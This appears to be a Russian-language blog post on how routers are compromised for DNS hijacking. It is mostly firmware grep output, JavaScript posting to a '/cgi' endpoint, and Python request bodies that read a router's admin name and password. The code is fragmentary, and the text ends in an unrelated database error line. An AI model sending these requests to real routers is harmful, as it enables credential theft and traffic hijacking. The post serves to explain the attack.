Взлом с подменой dns достаточно распространенный способ атаки. В первую очередь из-за его простоты. Суть атаки в изменении адреса dns в настройках сетевого оборудования жертвы на адрес dns-сервера злоумышленника с целью возврата ложных ip. А уже далее, кто во что горазд — от банальных фишинговых страничек соцсетей для кражи паролей до якобы провайдерской заглушки с требованиями оплаты.
Самое интересное во всем этом я считаю способы, с помощью которых боты, так или иначе, попадают на роутеры. И сегодня я про один из таких способов расскажу.
Что имеем:
grep -Hrn "/cgi?2"
----------------------------------------------
../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);
function doSetUsrName() {
var xmlHttpObj;
var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n";
xmlHttpObj = getHttpObject(function() {
if (xmlHttpObj.status == 200) {
getUsrName();
} else
return;
});
xmlHttpObj.open("POST", "/cgi?2", true);
xmlHttpObj.send(args);
}
function getUsrName() {
var xmlHttpObj;
var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n";
xmlHttpObj = getHttpObject(function() {
if (xmlHttpObj.status == 200) {
currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", "");
doSetPassword();
} else
return;
});
xmlHttpObj.open("POST", "/cgi?1", true);
xmlHttpObj.send(args);
}
grep -Hrn USER_CFG
------------------------
sysfiles/config/en/common/reduced_data_model.xml
<X_TP_UserCfg t=o r=P s=USER_CFG_OBJ h=1 >
<RootName t=s r=R l=16 al=cli h=1 />
<RootPwd t=s r=R l=16 al=cli h=1 />
<AdminName t=s r=W l=16 al=cli d=admin h=1 />
<AdminPwd t=s r=W l=16 al=cli d=admin h=1 />
<UserName t=s r=W l=16 al=cli h=1 />
<UserPwd t=s r=W l=16 al=cli h=1 />
</X_TP_UserCfg>
data = (
"[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n"
"dataBlockSize=64\r\n"
"timeout=1\r\n"
"numberOfRepetitions=1\r\n"
"host=127.0.0.1\r\n"
"X_TP_ConnName=ewan_ipoe_s\r\n"
"diagnosticsState=Requested\r\n"
)
"[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n"
"adminName\r\n"
"adminPwd\r\n"
К сожалению, не доступен сервер mySQL